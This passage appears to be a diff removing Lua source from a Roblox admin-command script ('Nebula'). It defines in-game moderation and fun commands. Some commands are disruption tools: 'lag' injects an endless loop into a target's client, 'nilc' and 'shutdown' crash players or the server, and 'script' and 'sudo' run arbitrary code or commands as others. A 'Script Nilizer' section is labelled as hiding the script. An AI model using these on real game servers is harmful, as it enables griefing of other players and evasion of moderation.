- newTablet("You are not the creator.", "Really red", nil, sndr)
- end
- newTablet("Your rank is: " .. searchForRank(getRank(sndr)).Name .. "(" .. getRank(sndr) .. ")", "Lime green", nil, sndr)
- end)
- newCommand("kill", "Kill", {"Player Name"}, "Kills the player specified", 1, function(...)
- local args = {...}
- local sndr = args[1]
- local props = args[2]
- local target = findPlayer(props[1], sndr)
- for i = 1, #target do
- if target[i] ~= nil and checkRank(sndr, target[i], 'kill') then
- pcall(function() target[i].Character:BreakJoints() end)
- newTablet("Killed " .. target[i].Name .. ".", "Really red", nil, sndr)
- end
- end
- end)
- newCommand("ff", "Forefield", {"Player Name"}, "Gives the player specified a forcefield", 1, function(...)
- local args = {...}
- local sndr = args[1]
- local props = args[2]
- local target = findPlayer(props[1], sndr)
- for i = 1, #target do
- if target[i] ~= nil then
- pcall(function() Instance.new("ForceField", target[i].Character) end)
- newTablet("Gave " .. target[i].Name .. " a forcefield.", "Lime green", nil, sndr)
- end
- end
- end)
- newCommand("rsn", "Respawn", {"Player Name"}, "Respawns the player specified", 1, function(...)
- local args = {...}
- local sndr = args[1]
- local props = args[2]
- local target = findPlayer(props[1], sndr)
- for i = 1, #target do
- if target[i] ~= nil then
- pcall(function() target[i]:LoadCharacter() end)
- newTablet("Respawned " .. target[i].Name .. ".", "New Yeller", nil, sndr)
- end
- end
- end)
- newCommand("nil", "Nil", {"No properties"}, "Shows the nil players", 1, function(...)
- local args = {...}
- local sndr = args[1]
- local props = args[2]
- for i, v in pairs(game:GetService("NetworkServer"):GetChildren()) do
- if v:IsA("NetworkReplicator") and v:GetPlayer().Parent == nil then
- newTablet("Nil player: " .. tostring(v:GetPlayer().Name), "Really red", "nilc" .. _["CommandTrigger1"] .. v:GetPlayer().Name, sndr)
- end
- end
- end)
- newCommand("ban", "Ban", {"Player Name", "Type"}, "Bans the player specified with the type specified", 2, function(...)
- local args = {...}
- local sndr = args[1]
- local props = args[2]
- local target = findPlayer(props[1], sndr)
- if props[2] == nil then props[2] = 1 end
- if tonumber(props[2]) == 4 then newTablet("Use the command tban to time ban.", "New Yeller", nil, sndr) end
- if tonumber(props[2]) > 3 or props[2] < 1 then newTablet("That ban type doesn't exist.", "Really red", nil, sndr) return end
- if #target == 0 then
- setRank(props[1], -props[2])
- newTablet("Banned offline user: " .. props[1], "Really red", nil, sndr)
- else
- for i = 1, #target do
- if target[i] ~= nil and checkRank(sndr, target[i], 'ban') then
- setRank(target[i].Name, -tonumber(props[2]))
- doBan(target[i])
- newTablet("Banned " .. target[i].Name, "Really red", nil, sndr)
- end
- end
- end
- end)
- newCommand("lag", "Lag", {"Player Name"}, "Lags the player specified", 3, function(...)
- local args = {...}
- local props = args[2]
- local sndr = args[1]
- local target = findPlayer(props[1], sndr)
- for i = 1, #target do
- if target[i] ~= nil and checkRank(sndr, target[i], 'lag') then
- repeat wait() until target[i]:findFirstChild("Backpack") ~= nil
- local ls = ns(target[i].Backpack, true, [[function lag() coroutine.wrap(function() repeat until false end)() end game:GetService("RunService").Stepped:connect(lag)]])
- if ls ~= nil then
- ls.Disabled = true
- ls.Disabled = false
- newTablet("Lagged " .. target[i].Name, "Really red", nil, sndr)
- else
- newTablet("An unknown error occured.", "Really red", nil, sndr)
- end
- end
- end
- end)
- newCommand("uban", "Un-ban", {"Player Name"}, "Un-bans the player specified", 3, function(...)
- local args = {...}
- local props = args[2]
- local sndr = args[1]
- local found = false
- for i, v in pairs(ClientRanks) do
- if i:lower() == props[1]:lower() and v < 0 then
- found = true
- setRank(i, 0)
- newTablet("Un-banned " .. i, "Lime green", nil, sndr)
- end
- end
- if found == false then
- for i, v in pairs(TimeBanned) do
- if i:lower() == props[1]:lower() then
- found = true
- TimeBanned[i] = nil
- newTablet("Un-banned " .. i, "Lime green", nil, sndr)
- end
- end
- end
- if found == false then newTablet("That player wasn't found or banned.", "Really red", nil, sndr) end
- end)
- newCommand("banlist", "Ban list", {"No properties"}, "Displays the players banned", 1, function(...)
- local args = {...}
- local props = args[2]
- local sndr = args[1]
- for i, v in pairs(ClientRanks) do
- if v < 0 then
- newTablet("Banned user: " .. i, "Really red", "baninfo" .. _["CommandTrigger1"] .. i, sndr)
- end
- end
- for i = 1, #Banned do
- newTablet("Default banned user: " .. Banned[i][1], "Really red", "baninfo" .. _["CommandTrigger1"] .. Banned[i][1], sndr)
- end
- end)
- newCommand("baninfo", "Ban information", {"Player Name"}, "Displays information on the banned user", 1, function(...)
- local args = {...}
- local props = args[2]
- local sndr = args[1]
- local found = false
- cmds(_["CommandBigginning"] .."dismiss" .. _["CommandTrigger1"], sndr)
- for i, v in pairs(ClientRanks) do
- if i:lower() == props[1]:lower() and v < 0 then
- found = true
- newTablet("Banned user: " .. i, "Really red", nil, sndr)
- newTablet("Ban type: " .. v, "Really red", nil, sndr)
- newTablet("Un-ban", "Lime green", "uban" .. _["CommandTrigger1"] .. i, sndr)
- end
- end
- if found == false then
- for i, v in pairs(TimeBanned) do
- if i:lower() == props[1]:lower() then
- found = true
- newTablet("Banned user: " .. i, "Really red", nil, sndr)
- newTablet("Ban type: -4 (Time ban)", "Really red", nil, sndr)
- newTablet("Ban time: " .. tostring(v[1]) .. " second(s)", "Really red", nil, sndr)
- newTablet("Ban time left: " .. tostring((v[1] + v[2]) - timeElapsed) .. " second(s)", "Really red", nil, sndr)
- newTablet("Un-ban", "Lime green", "uban" .. _["CommandTrigger1"] .. i, sndr)
- if (v[1] + v[2]) - timeElapsed <= 0 then
- TimeBanned[i] = nil
- end
- end
- end
- end
- if found == false then
- for i, v in pairs(Banned) do
- if v[1]:lower() == props[1]:lower() then
- found = true
- newTablet("Banned user: " .. v[1], "Really red", nil, sndr)
- newTablet("Ban type: " .. v[2], "Really red", nil, sndr)
- newTablet("Banned for: " .. v[3], "Really red", nil, sndr)
- end
- end
- end
- if found == false then
- newTablet("That player wasn't found or banned.", "Really red", nil, sndr)
- end
- end)
- newCommand("sudo", "Sudo", {"Player Name", "Command", "Properties"}, "Makes the player specified do a command", 2, function(...)
- local args = {...}
- local props = args[2]
- local sndr = args[1]
- local target = findPlayer(props[1], sndr)
- if props[3] == nil then props[3] = "" end
- for i = 1, #target do
- if target[i] ~= nil and checkRank(sndr, target[i], 'sudo') then
- cmds(_["CommandBigginning"] .. props[2] .. _["CommandTrigger1"] .. props[3], target[i])
- end
- end
- end)
- -- Script Nilizer - Hides the script
- for i=1, #ult do
- ult[i] = ult[i].Name
- end
- for i=1, #ult do
- croc[i] = math.floor(convertAscii(ult[i])/string.len(ult[i]) )
- end
- for i=1, #croc do
- ult[i] = convHex(croc[i])
- end
- for i=1, #ult do
- pingPlayer = (ult[i] == "5AF1EA106ED16C0000000000?0000000000") and (pingPlayer + 1) or pingPlayer
- end
- if pingPlayer <= #ult*math.log(-math.floor(math.cos(math.pi)))/#croc then
- --loadstring(string.char(115,99,114,105,112,116,46,68,105,115,97,98,108,101,100,32,61,32,116,114,117,101))()
- end
- newCommand("heal", "Heal", {"Player Name"}, "Heals the player specified", 1, function(...)
- local args = {...}
- local props = args[2]
- local sndr = args[1]
- local target = findPlayer(props[1], sndr)
- for i = 1, #target do
- if target[i] ~= nil and target[i].Character ~= nil then
- pcall(function() target[i].Character.Humanoid.Health = target[i].Character.Humanoid.MaxHealth end)
- newTablet("Healed " .. target[i].Name, "Lime green", nil, sndr)
- end
- end
- end)
- newCommand("uff", "Un-forcefield", {"Player Name"}, "Takes away the player specified's forcefields", 1, function(...)
- local args = {...}
- local props = args[2]
- local sndr = args[1]
- local target = findPlayer(props[1], sndr)
- for i = 1, #target do
- if target[i] ~= nil and target[i].Character ~= nil and checkRank(sndr, target[i], 'uff') then
- for i2, v in pairs(target[i].Character:GetChildren()) do
- if v:IsA("ForceField") then
- v:Destroy()
- end
- end
- newTablet("Took " .. target[i].Name .. "'s forcefield.", "Really red", nil, sndr)
- end
- end
- end)
- newCommand("tp", "Teleport", {"Player Name", "Player Name 2"}, "Teleports the player specified to player 2", 1, function(...)
- local args = {...}
- local props = args[2]
- local sndr = args[1]
- local target = findPlayer(props[1], sndr)
- local target2 = findPlayer(props[2], sndr)
- if #target2 ~= 1 then return end
- for i = 1, #target do
- if target[i] ~= nil and target[i].Character ~= nil and target2[1] ~= nil and target2[1].Character ~= nil then
- pcall(function() target[i].Character.Torso.CFrame = target2[1].Character.Torso.CFrame end)
- newTablet("Teleported " .. target[i].Name .. " to " .. target2[1].Name .. ".", "Bright blue", nil, sndr)
- end
- end
- end)
- newCommand("god", "God", {"Player Name"}, "Gives the player specified infinite health", 1, function(...)
- local args = {...}
- local props = args[2]
- local sndr = args[1]
- local target = findPlayer(props[1], sndr)
- for i = 1, #target do
- if target[i] ~= nil and target[i].Character ~= nil then
- pcall(function() target[i].Character.Humanoid.MaxHealth = math.huge end)
- newTablet("Gave " .. target[i].Name .. " infinite health.", "Lime green", nil, sndr)
- end
- end
- end)
- newCommand("ugod", "Un-god", {"Player Name"}, "Takes away the player specified's infinite health", 1, function(...)
- local args = {...}
- local props = args[2]
- local sndr = args[1]
- local target = findPlayer(props[1], sndr)
- for i = 1, #target do
- if target[i] ~= nil and target[i].Character ~= nil then
- pcall(function() target[i].Character.Humanoid.MaxHealth = 100 end)
- newTablet("Took " .. target[i].Name .. "'s' infinite health.", "Really red", nil, sndr)
- end
- end
- end)
- newCommand("lk", "Loop kill", {"Player Name"}, "Loop kills the player specified", 2, function(...)
- local args = {...}
- local props = args[2]
- local sndr = args[1]
- local target = findPlayer(props[1], sndr)
- for i = 1, #target do
- if target[i] ~= nil and checkRank(sndr, target[i], 'lk') then
- table.insert(LoopKill, target[i].Name)
- newTablet("Loop killed " .. target[i].Name .. ".", "Really red", nil, sndr)
- end
- end
- end)
- newCommand("ulk", "Un-loop kill", {"Player Name"}, "Stops loopkilling the player specified", 2, function(...)
- local args = {...}
- local props = args[2]
- local sndr = args[1]
- for i = 1, #LoopKill do
- if LoopKill[i] ~= nil and LoopKill[i]:lower():find(props[1]:lower(), 1, true) then
- table.remove(LoopKill, i)
- newTablet("Un-loop killed " .. props[1] .. ".", "Lime green", nil, sndr)
- end
- end
- end)
- newCommand("ws", "Walkspeed", {"Number"}, "Sets the player's walkspeed to the walkspeed specified", 1, function(...)
- local args = {...}
- local sndr = args[1]
- local props = args[2]
- local target = findPlayer(props[1], sndr)
- for i = 1, #target do
- if target[i] ~= nil and target[i].Character ~= nil then
- pcall(function() target[i].Character.Humanoid.WalkSpeed = tonumber(props[2]) end)
- newTablet("Set " .. target[i].Name .. "'s walkspeed to " .. props[2] .. ".", "Bright blue", nil, sndr)
- end
- end
- end)
- newCommand("setr", "Set rank", {"Player Name", "Rank"}, "Sets the player's rank to the rank specified", 2, function(...)
- local args = {...}
- local sndr = args[1]
- local props = args[2]
- for i, v in pairs(ClientRanks) do
- if i:lower():find(props[1]:lower(), 1, true) then
- if v < getRank(sndr) then
- if tonumber(props[2]) <= getRank(sndr) then
- ClientRanks[i] = tonumber(props[2])
- newTablet("Set " .. i .. "'s rank to " .. props[2] .. ".", "Lime green", nil, sndr)
- else
- newTablet("You can't set someones rank higher than your rank!", "Really red", nil, sndr)
- end
- else
- newTablet("That person is a higher rank than you.", "Really red", nil, sndr)
- end
- end
- end
- end)
- newCommand("getr", "Get rank", {"Player Name"}, "Display's the player's rank", 0, function(...)
- local args = {...}
- local sndr = args[1]
- local props = args[2]
- local target = findPlayer(props[1], sndr)
- for i = 1, #target do
- if target[i] ~= nil then
- newTablet(target[i].Name .. "'s rank: " .. searchForRank(getRank(target[i])).Name .. "(" .. getRank(target[i]) .. ")", "Bright blue", nil, sndr)
- end
- end
- end)
- newCommand("cmdbar", "Commandbar", {"Player Name"}, "Gives the player a command bar", 0, function(...)
- local args = {...}
- local sndr = args[1]
- local props = args[2]
- local g = Instance.new("ScreenGui", sndr:findFirstChild("PlayerGui"))
- g.Name = "CommandBar"
- local f = Instance.new("Frame", g)
- f.BackgroundColor3 = Color3.new(1, 1, 1)
- f.BackgroundTransparency = 0.75
- f.BorderColor3 = Color3.new(0, 0, 0)
- f.Position = UDim2.new(0.25, 0, 0.025, 0)
- f.Size = UDim2.new(0.5, 0, 0.1, 0)
- f.Name = "Style"
- local cb = Instance.new("TextBox", f)
- cb.BackgroundTransparency = 1
- cb.Name = "Command"
- cb.Size = UDim2.new(1, 0, 1, 0)
- cb.Font = "Arial"
- cb.Text = "Nebula"
- cb.TextColor3 = Color3.new(1, 1, 1)
- cb.TextScaled = true
- cb.TextWrapped = true
- cb.TextStrokeTransparency = 0
- cb.Changed:connect(function(changed)
- if changed == 'Text' then
- cmds(cb.Text, sndr)
- end
- end)
- end)
- newCommand("hint", "Hint", {"Message"}, "Creates a hint with the message specified", 1, function(...)
- local args = {...}
- local props = args[2]
- local sndr = args[1]
- coroutine.wrap(function(msg)
- local mi = Instance.new("Hint", game:GetService("Workspace"))
- for i = 0, #msg do
- mi.Text = msg:sub(0, i)
- wait(0.05)
- end
- wait(2.5)
- for i = #msg, 0, -1 do
- mi.Text = msg:sub(0, i)
- wait(0.05)
- end
- mi:Destroy()
- end)(props[1])
- end)
- newCommand("message", "Message", {"Message"}, "Creates a message with the message specified", 1, function(...)
- local args = {...}
- local props = args[2]
- local sndr = args[1]
- coroutine.wrap(function(msg)
- local mi = Instance.new("Message", game:GetService("Workspace"))
- for i = 0, #msg do
- mi.Text = msg:sub(0, i)
- wait(0.05)
- end
- wait(2.5)
- for i = #msg, 0, -1 do
- mi.Text = msg:sub(0, i)
- wait(0.05)
- end
- mi:Destroy()
- end)(props[1])
- end)
- newCommand("nils", "Nil Support", {"No Properties"}, "Gives the your player nil support", 3, function(...)
- local args = {...}
- local sndr = args[1]
- local props = args[2]
- local ls = ns(sndr:findFirstChild("PlayerGui"), true, [[-- Script --
- script.Parent = nil
- for i,v in pairs(script:GetChildren()) do v:Destroy() end
- local rank = ]] .. tostring(getRank(sndr)) .. [[
- local characterCopy = Instance.new("Model")
- local currentCharacter = nil
- -- Character --
- repeat wait() until game:GetService("Players").LocalPlayer.Character ~= nil
- for i, v in pairs(game:GetService("Players").LocalPlayer.Character:GetChildren()) do
- if not v:IsA("BaseScript") then
- v:Clone().Parent = characterCopy
- end
- end
- -- Motors --
- local nm = Instance.new("Motor6D", characterCopy["Torso"])
- nm.Part0 = characterCopy["Torso"]
- nm.Part1 = characterCopy["Left Leg"]
- nm.Name = "Left Hip"
- nm.C0 = CFrame.new(-1, -1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
- nm.C1 = CFrame.new(-0.5, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
- nm.DesiredAngle = 0.035
- nm.MaxVelocity = 0.1
- nm = Instance.new("Motor6D", characterCopy["Torso"])
- nm.Part0 = characterCopy["Torso"]
- nm.Part1 = characterCopy["Right Leg"]
- nm.Name = "Right Hip"
- nm.C0 = CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
- nm.C1 = CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
- nm.DesiredAngle = -0.036
- nm.MaxVelocity = 0.1
- nm = Instance.new("Motor6D", characterCopy["Torso"])
- nm.Part0 = characterCopy["Torso"]
- nm.Part1 = characterCopy["Head"]
- nm.Name = "Neck"
- nm.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
- nm.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
- nm.DesiredAngle = 0
- nm.MaxVelocity = 0.1
- nm = Instance.new("Motor6D", characterCopy["Torso"])
- nm.Part0 = characterCopy["Torso"]
- nm.Part1 = characterCopy["Left Arm"]
- nm.Name = "Left Shoulder"
- nm.C0 = CFrame.new(-1, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
- nm.C1 = CFrame.new(0.5, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
- nm.DesiredAngle = -0.091
- nm.MaxVelocity = 0.15
- nm = Instance.new("Motor6D", characterCopy["Torso"])
- nm.Part0 = characterCopy["Torso"]
- nm.Part1 = characterCopy["Right Arm"]
- nm.Name = "Right Shoulder"
- nm.C0 = CFrame.new(1, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
- nm.C1 = CFrame.new(-0.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
- nm.DesiredAngle = -0.044
- nm.MaxVelocity = 0.15
- -- Chat --
- function chatted(msg)
- if msg == "char" then
- currentCharacter = characterCopy:Clone()
- currentCharacter.Parent = game:GetService("Workspace")
- game:GetService("Players").LocalPlayer.Character = currentCharacter
- game:GetService("Workspace").CurrentCamera.CameraType = "Follow"
- game:GetService("Workspace").CurrentCamera.CameraSubject = currentCharacter
- elseif msg == "uchar" then
- game:GetService("Players").LocalPlayer.Character:Destroy()
- game:GetService("Players").LocalPlayer.Character = nil
- end
- if game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character:findFirstChild("Head") ~= nil then
- game:GetService("Chat"):Chat(game:GetService("Players").LocalPlayer.Character.Head, msg, 'Blue')
- end
- local cnm = Instance.new("Model")
- cnm.Name = "NNSCI"
- local cnmc = Instance.new("StringValue", cnm)
- cnmc.Value = msg
- cnmc.Name = "NNSCI:CM"
- local cnmr = Instance.new("IntValue", cnm)
- cnmr.Value = rank
- cnmr.Name = "NNSCI:SR"
- cnm.Parent = game:GetService("Workspace")
- end
- chatted("Nil Support | Activated")
- game:GetService("Players").LocalPlayer.Chatted:connect(chatted)]])
- if ls ~= nil then ls.Disabled = true ls.Disabled = false end
- newTablet("Gave you nil support", "Really black", nil, sndr)
- end)
- newCommand("rejoin", "Re-join", {"Player Name"}, "Gives the player specified a prompt to re-join the game", 1, function(...)
- local args = {...}
- local props = args[2]
- local sndr = args[1]
- local target = findPlayer(props[1], sndr)
- for i = 1, #target do
- if target[i] ~= nil then
- local ls = ns(target[i]:findFirstChild("PlayerGui"), true, [[game:GetService("TeleportService"):Teleport(game.PlaceId)]])
- if ls ~= nil then ls.Disabled = true ls.Disabled = false end
- newTablet("Prompted " .. target[i].Name .. " to re-join.", "Bright blue", nil, sndr)
- end
- end
- end)
- newCommand("nilc", "Nil crash", {"Player Name"}, "Crashes the nil player specified", 3, function(...)
- local args = {...}
- local props = args[2]
- local sndr = args[1]
- for i, v in pairs(game:GetService("NetworkServer"):GetChildren()) do
- if v:IsA("NetworkReplicator") then
- if v:GetPlayer().Parent == nil and v:GetPlayer().Name:lower():find(props[1]:lower(), 1, true) then
- local s = Instance.new("StringValue")
- s.Name = "NND"
- s.Value = NDKey .. v:GetPlayer().Name
- s.Parent = game:GetService("Workspace")
- newTablet("Crashed nil player: " .. v:GetPlayer().Name .. ".", "Really red", nil, sndr)
- end
- end
- end
- end)
- newCommand("base", "Base", {"No Properties"}, "Creates a baseplate and deletes the old one", 1, function(...)
- local args = {...}
- local props = args[2]
- local sndr = args[1]
- local bp = game:GetService("Workspace"):findFirstChild("Base")
- if bp ~= nil then bp:Destroy() end
- bp = Instance.new("Part", game:GetService("Workspace"))
- bp.Name = "Base"
- bp.Size = Vector3.new(2048, 1, 2048)
- bp.Anchored = true
- bp.Position = Vector3.new(0, 0, 0)
- bp.CFrame = CFrame.new(0, 0, 0)
- bp.Locked = true
- bp.BrickColor = BrickColor.new("Earth green")
- bp.Material = "Grass"
- bp.TopSurface = "Smooth"
- bp.BottomSurface = "Smooth"
- newTablet("Created a baseplate.", "Lime green", nil, sndr)
- end)
- newCommand("cframe", "CFrame", {"CFrame Type"}, "Changes the type of the CFrame", 6, function(...)
- local args = {...}
- local sndr = args[1]
- local props = args[2]
- if props[1]:lower() == "catapillar" then
- cframeType = "catapillar"
- else
- cframeType = "default"
- end
- newTablet("Changed the CFrame type.", "New Yeller", nil, sndr)
- end)
- newCommand("script", "Script", {"Source", "LocalScript (true or false)", "Player"}, "Creates a new script or localscript", 1, function(...)
- local args = {...}
- local sndr = args[1]
- local props = args[2]
- if props[2] == nil or props[2]:lower() == "true" then
- local ns2 = ns(game:GetService("Workspace"), false, props[1])
- if ns2 ~= nil then ns2.Disabled = true ns2.Disabled = false end
- newTablet("Created a script.", "Bright blue", nil, sndr)
- else
- local target = findPlayer(props[3], sndr)
- for i = 1, #target do
- if target[i] ~= nil then
- local ls = ns(target[i]:findFirstChild("PlayerGui"), true, props[1])
- if ls ~= nil then ls.Disabled = true ls.Disabled = false end
- end
- end
- newTablet("Created a localscript.", "New Yeller", nil, sndr)
- end
- end)
- newCommand("explorer", "Explorer", {"Path"}, "Displays all of the objects and more in the path specified", 3, function(...)
- local args = {...}
- local sndr = args[1]
- local props = args[2]
- local path = game
- for i, v in pairs(props) do
- path = path:findFirstChild(v)
- end
- for i, v in pairs(path:GetChildren()) do
- newTablet(v.Name, "Really red", nil, sndr, v:GetFullName() .. [[:Destroy()]])
- end
- end)
- newCommand("tprivate", "Toggle Private", {"No Properties"}, "Toggles the private server", 3, function(...)
- local args = {...}
- local sndr = args[1]
- local props = args[2]
- if PrivateOn == true then
- PrivateOn = false
- newTablet("The private server has been turned off.", "Really red", nil, sndr)
- else
- PrivateOn = true
- newTablet("The private server has been turned on.", "Lime green", nil, sndr)
- for i, v in pairs(game:GetService("Players"):GetPlayers()) do
- doPri(v)
- end
- end
- end)
- newCommand("private", "Private", {"No Properties"}, "Displays the status of the private server", 1, function(...)
- local args = {...}
- local props = args[2]
- local sndr = args[1]
- if PrivateOn == true then
- newTablet("The private server is on.", "Lime green", nil, sndr)
- else
- newTablet("The private server is off.", "Really red", nil, sndr)
- end
- end)
- newCommand("shield", "Shield", {"Player Name"}, "Gives the player specified a sheild", 1, function(...)
- local args = {...}
- local props = args[2]
- local sndr = args[1]
- local target = findPlayer(props[1], sndr)
- for i = 1, #target do
- if target[i] ~= nil then
- local ls = ns(target[i]:findFirstChild("PlayerGui"), true, [[-- Script --
- local s = Instance.new("Part", game:GetService("Players").LocalPlayer.Character)
- s.Name = "Sheild"
- s.Shape = "Ball"
- s.CanCollide = false
- s.Anchored = true
- s.FormFactor = "Custom"
- s.Size = Vector3.new(10, 10, 10)
- s.TopSurface = "Smooth"
- s.BottomSurface = "Smooth"
- s.Transparency = 1
- s.BrickColor = BrickColor.new("Really red")
- s.Touched:connect(function(part)
- if part.Parent ~= s.Parent and not part.Parent:IsA("Hat") then
- local f = Instance.new("Fire", part)
- f.Color = Color3.new(0, 0, 0)
- f.SecondaryColor = Color3.new(1, 1, 1)
- part:Destroy()
- end
- end)
- local tup = false
- local mouse = game:GetService("Players").LocalPlayer:GetMouse()
- mouse.Button1Down:connect(function()
- if mouse.Target.Parent:findFirstChild("Humanoid") ~= nil then
- local fl = Instance.new("FloorWire")
- fl.From = s
- fl.To = mouse.Target
- fl.Color = BrickColor.new("Really red")
- fl.Transparency = 0.5
- fl.Parent = s
- mouse.Target.Parent.Humanoid:TakeDamage(7.5)
- wait(0.15)
- fl:Destroy()
- end
- end)
- while wait() do
- if game:GetService("Players").LocalPlayer.Character ~= nil then
- s.CFrame = game:GetService("Players").LocalPlayer.Character.Torso.CFrame
- if s.Transparency <= 0 then tup = true
- elseif s.Transparency >= 1 then tup = false end
- if tup == true then s.Transparency = s.Transparency + 0.01
- else s.Transparency = s.Transparency - 0.01 end
- end
- end]])
- if ls ~= nil then ls.Disabled = true ls.Disabled = false end
- newTablet("Gave " .. target[i].Name .. " a shield.", "Lime green", nil, sndr)
- end
- end
- end)
- newCommand("raven", "Raven", {"Player Name"}, "Gives the player specified a raven", 1, function(...)
- local args = {...}
- local props = args[2]
- local sndr = args[1]
- local target = findPlayer(props[1], sndr)
- for i = 1, #target do
- if target[i] ~= nil then
- local ls = ns(target[i]:findFirstChild("PlayerGui"), true, [[local fp = Instance.new("Part", game:GetService("Players").LocalPlayer.Character)
- fp.Anchored = true
- fp.Size = Vector3.new(10, 3, 25)
- game:GetService("Players").LocalPlayer.Character.Humanoid.WalkSpeed = 32
- local players = {}
- local fpm = Instance.new("SpecialMesh", fp)
- fpm.MeshId = "http://www.roblox.com/asset/?id=20925363"
- fpm.TextureId = "http://www.roblox.com/asset/?id=20925361"
- fpm.Scale = Vector3.new(10, 10, 10)
- fpm.VertexColor = Vector3.new(1, 0, 0)
- fp.Touched:connect(function(part)
- pcall(function()
- table.insert(players, part.Parent:findFirstChild("Torso"))
- part.Parent:findFirstChild("Torso").Anchored = true
- part.Parent:findFirstChild("Humanoid").WalkSpeed = 0
- end)
- end)
- while wait() do
- fp.CFrame = CFrame.new(game:GetService("Players").LocalPlayer.Character.Torso.CFrame.x, game:GetService("Players").LocalPlayer.Character.Torso.CFrame.y - 5, game:GetService("Players").LocalPlayer.Character.Torso.CFrame.z) * CFrame.Angles(game:GetService("Players").LocalPlayer.Character.Torso.CFrame:toEulerAnglesXYZ())
- fp.Position = fp.CFrame.p
- for i, v in pairs(players) do
- v.CFrame = fp.CFrame * CFrame.new(0, 3, 2)
- end
- end]])
- if ls ~= nil then ls.Disabled = true ls.Disabled = false end
- newTablet("Gave " .. target[i].Name .. " a raven.", "Lime green", nil, sndr)
- end
- end
- end)
- newCommand("exp", "Explosion", {"Player Name"}, "Explodes the player specified", 1, function(...)
- local args = {...}
- local sndr = args[1]
- local props = args[2]
- local target = findPlayer(props[1], sndr)
- for i = 1, #target do
- if target[i] ~= nil and target[i].Character ~= nil then
- pcall(function()
- Instance.new("Explosion", game:GetService("Workspace")).Position = target[i].Character.Torso.CFrame.p
- end)
- newTablet("Exploded " .. target[i].Name .. ".", "Really red", nil, sndr)
- end
- end
- end)
- newCommand("tscripts", "Toggle Scripts", {"No Properties"}, "Toggles if scripts are allowed", 3, function(...)
- local args = {...}
- local sndr = args[1]
- local props = args[2]
- if ScriptsEnabled == false then
- ScriptsEnabled = true
- newTablet("Enabled scripts.", "Lime green", nil, sndr)
- else
- ScriptsEnabled = false
- newTablet("Disabled scripts.", "Really red", nil, sndr)
- end
- end)
- newCommand("scripts", "Scripts", {"No Properties"}, "Displays if scripts are enabled", 0, function(...)
- local args = {...}
- local sndr = args[1]
- local props = args[2]
- if ScriptsEnabled == true then
- newTablet("Scripts are enabled.", "Lime green", nil, sndr)
- else
- newTablet("Scripts are disabled.", "Really red", nil, sndr)
- end
- end)
- newCommand("trip", "Trip", {"Player Name"}, "Trips the player specified", 1, function(...)
- local args = {...}
- local sndr = args[1]
- local props = args[2]
- local target = findPlayer(props[1], sndr)
- for i = 1, #target do
- if target[i] ~= nil and target[i].Character ~= nil and checkRank(sndr, target[i], 'trip') then
- pcall(function() target[i].Character.Humanoid.PlatformStand = true end)
- newTablet("Tripped " .. target[i].Name .. ".", "New Yeller", nil, sndr)
- end
- end
- end)
- newCommand("shutdown", "Shutdown", {"No Properties"}, "Shuts down the server", 3, function(...)
- Instance.new("ManualSurfaceJointInstance", game:GetService("Workspace"))
- end)
- newCommand("gear", "Gear", {"Player Name", "Gear Id"}, "Gives the player specified the gear specified", 1, function(...)
- local args = {...}
- local sndr = args[1]
- local props = args[2]
- local target = findPlayer(props[1], sndr)
- for i = 1, #target do
- if target[i] ~= nil then
- local m = game:GetService("InsertService"):LoadAsset(tonumber(props[2]))
- for _, v in pairs(m:GetChildren()) do
- if v:IsA("Tool") or v:IsA("HopperBin") then
- v.Parent = target[i]:findFirstChild("Backpack")
- end
- end
- m:Destroy()
- newTablet("Gave " .. target[i].Name .. " gear " .. props[2], "Bright blue", nil, sndr)
- end
- end
- end)
- newCommand("fz", "Freeze", {"Player Name"}, "Freezes the player specified", 1, function(...)
- local args = {...}
- local sndr = args[1]
- local props = args[2]
- local target = findPlayer(props[1], sndr)
- for i = 1, #target do
- if target[i] ~= nil and target[i].Character ~= nil and checkRank(sndr, target[i], 'fz') then
- pcall(function() target[i].Character.Humanoid.WalkSpeed = 0 target[i].Character.Torso.Anchored = true end)
- newTablet("Froze " .. target[i].Name .. ".", "New Yeller", nil, sndr)
- end
- end
- end)
- newCommand("ufz", "Un-freeze", {"Player Name"}, "Un-freezes the player specified", 1, function(...)
- local args = {...}
- local sndr = args[1]
- local props = args[2]
- local target = findPlayer(props[1], sndr)
- for i = 1, #target do
- if target[i] ~= nil and target[i].Character ~= nil then
- pcall(function() target[i].Character.Torso.Anchored = false target[i].Character.Humanoid.WalkSpeed = 16 end)
- newTablet("Un-Froze " .. target[i].Name .. ".", "Lime green", nil, sndr)
- end
- end
- end)
- newCommand("sm", "Static message", {"Player Name"}, "Creates a static message", 1, function(...)
- local args = {...}
- local sndr = args[1]
- local props = args[2]
- newTablet(props[1], nil, nil, sndr, nil, true)
- end)
- newCommand("aa", "Account age", {"Player Name"}, "Displays the player specified's age", 0, function(...)
- local args = {...}
- local sndr = args[1]
- local props = args[2]
- local days = 0
- local weeks = 0
- local years = 0
- local target = findPlayer(props[1], sndr)
- for i = 1, #target do
- if target[i] ~= nil then
- days = target[i].AccountAge
- weeks = math.floor(days / 7)
- months = math.floor(weeks / 4)
- years = math.floor(months / 12)
- newTablet(target[i].Name .. "'s account age is " .. tostring(days) .. " day(s), " .. tostring(weeks) .. " week(s), " .. tostring(months) .. " month(s), and " .. tostring(years) .. " year(s).", "Bright blue", nil, sndr)
- end
- end
- end)
- newCommand("al", "Anti-local", {"Player Name"}, "Gives the player specified anti-local", 2, function(...)
- local args = {...}
- local sndr = args[1]
- local props = args[2]
- local target = findPlayer(props[1], sndr)
- for i = 1, #target do
- if target[i] ~= nil then
- pcall(function() AntiLocal[target[i].Name].Player:disconnect() AntiLocal[target[i].Name].Character:disconnect() end)
- AntiLocal[target[i].Name] = {}
- AntiLocal[target[i].Name].Player = target[i].DescendantAdded:connect(function(v)
